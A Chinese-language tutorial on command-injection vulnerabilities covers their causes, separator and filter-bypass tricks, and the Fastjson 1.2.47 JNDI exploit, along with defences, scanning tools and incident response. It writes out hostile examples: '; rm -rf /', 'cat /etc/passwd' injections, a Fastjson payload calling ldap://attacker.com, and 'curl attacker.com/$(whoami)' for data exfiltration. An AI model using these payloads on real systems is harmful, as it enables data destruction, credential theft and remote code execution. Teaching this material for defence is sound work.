命令执行漏洞原理、攻击与防御实践

1. 命令执行漏洞的本质与危害

命令执行漏洞（Command Injection）是Web安全领域最危险的漏洞类型之一。它允许攻击者通过构造特殊输入，在目标服务器上执行任意系统命令。这种漏洞之所以致命，是因为它直接突破了应用层与系统层的边界，使攻击者获得服务器控制权。

我曾在一次渗透测试中遇到这样的案例：某电商网站搜索功能调用了系统grep命令处理用户输入，但未做任何过滤。攻击者只需输入关键词; rm -rf /就能清空整个服务器。这种漏洞的破坏力远超SQL注入或XSS，因为它直接威胁服务器基础设施安全。

1.1 漏洞产生的根本原因

开发者在代码中直接拼接用户输入与系统命令时，如果未对用户输入进行严格过滤和转义，就会产生命令注入点。常见高危场景包括：

• 调用Runtime.exec()或ProcessBuilder（Java）
• 使用system()、exec()等函数（PHP/Python）
• 执行Shell脚本时拼接用户参数

关键教训：永远不要相信用户输入。所有来自客户端的数据都应视为恶意输入。

2. 命令注入的典型攻击方式

2.1 基础注入手法

攻击者通过特殊字符截断原命令，追加恶意指令：

• Unix/Linux系统使用;、&&、||、\n作为命令分隔符
• Windows系统使用&、|、&&、||
• 反引号`和$()用于命令替换

例如原本执行ping 用户输入，攻击者输入127.0.0.1; cat /etc/passwd就会变成：

ping 127.0.0.1; cat /etc/passwd

2.2 高级绕过技巧

当基础分隔符被过滤时，攻击者会尝试：

• 使用编码绕过：十六进制、URL编码、Unicode
• 利用环境变量拼接：${PATH:0:1}返回/
• 通配符利用：/???/?s -l匹配/bin/ls
• 空格替代：使用${IFS}代替空格

我曾遇到一个真实案例：某系统过滤了分号但未过滤换行符。通过Burp Suite修改HTTP请求，在参数中插入%0a（URL编码的换行符）成功实现了命令注入。

3. Fastjson 1.2.47 RCE漏洞深度解析

Fastjson作为Java生态广泛使用的JSON库，其1.2.47版本因反序列化机制缺陷导致远程命令执行。这个漏洞之所以引发广泛关注，是因为：

3.1 漏洞触发原理

攻击者可以构造特殊的JSON字符串，利用JNDI注入实现RCE：

{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker.com/Exploit", "autoCommit":true }

当Fastjson解析该JSON时，会触发JNDI查找远程恶意类并执行。

3.2 漏洞利用链分析

完整的攻击流程分为三步：

1. 攻击者搭建恶意LDAP服务器
2. 目标服务器反序列化JSON时发起JNDI请求
3. 加载远程恶意类执行系统命令

这个漏洞影响如此广泛，是因为：

• Fastjson默认开启autotype功能
• Java低版本默认信任JNDI远程加载
• 大量JavaWeb应用使用Fastjson处理JSON数据

4. 防御命令注入的工程实践

4.1 输入验证与过滤

• 白名单校验：只允许预期字符（如IP地址只允许数字和点）
• 黑名单过滤：禁止;、&、|等危险字符
• 正则表达式检测：/^[a-zA-Z0-9.-]+$/等

但要注意，单纯依赖过滤可能被绕过。我在代码审计中发现过这样的案例：

// 错误示范：简单替换危险字符 input = input.replace(";", ""); // 仍可被`%3b`（;的URL编码）绕过

4.2 安全的API调用方式

• 使用参数化API而非字符串拼接：

// 正确做法 ProcessBuilder pb = new ProcessBuilder("ping", userInput);

• 避免直接调用Shell：使用String[]传参而非完整命令字符串

4.3 系统级防护措施

• 最小权限原则：运行Web服务的用户应受限
• 部署WAF规则：拦截常见注入模式
• 定期依赖项更新：如及时升级Fastjson到安全版本

5. 漏洞检测与应急响应

5.1 手工测试方法

• 基础测试：输入ping 127.0.0.1; whoami观察响应
• 时间盲注：sleep 5测试无回显场景
• DNS外带：curl attacker.com/$(whoami)

5.2 自动化扫描工具

• OWASP ZAP：内置命令注入扫描规则
• Burp Suite Professional：使用Active Scan功能
• Nuclei：丰富的RCE检测模板

5.3 漏洞修复时间线

发现命令注入漏洞后应按以下流程处理：

1. 立即下线受影响功能
2. 评估漏洞影响范围
3. 开发安全补丁
4. 全面测试后重新上线
5. 监控异常活动

6. 从开发到运维的全链路防护

命令执行漏洞的防御需要贯穿整个软件生命周期：

6.1 开发阶段

• 安全编码培训：让开发者了解危险函数
• 代码审计：检查所有命令执行点
• SAST工具：如SonarQube检测危险模式

6.2 测试阶段

• DAST扫描：模拟攻击检测漏洞
• 模糊测试：发送异常输入观察行为
• 红蓝对抗：专业渗透测试

6.3 运维阶段

• 网络隔离：限制服务器出站连接
• 日志监控：分析可疑命令执行
• 定期补丁：更新所有依赖库

我在某金融项目中的实践是建立"安全卡点"机制：任何调用系统命令的代码必须经过安全团队审核，并在上线前进行专项测试。这种严格管控使得项目三年内未出现命令注入漏洞。